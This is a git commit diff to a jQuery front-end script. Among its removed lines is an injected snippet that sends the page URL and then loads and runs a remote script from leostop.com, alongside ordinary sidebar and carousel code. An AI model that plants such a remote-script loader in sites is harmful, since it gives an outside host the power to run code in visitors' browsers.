Adjusting page to get rid of errors

This commit is contained in:
Pawel Dudzik
2024-09-04 15:05:25 +02:00
parent 2f2c968da6
commit f1cc8fdbbf
3 changed files with 14 additions and 26 deletions

View File

@@ -35,28 +35,5 @@ $(function () {
$("#wrapper").removeClass('overlay');
});
});
function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } });
/* Toggle sidebar
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
$(document).ready(function () {
$('#sidebarCollapse').on('click', function () {
$('#sidebar').toggleClass('active');
$(this).toggleClass('active');
});
});
/* Product slider
-- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */
// optional
$('#blogCarousel').carousel({
interval: 5000
});
});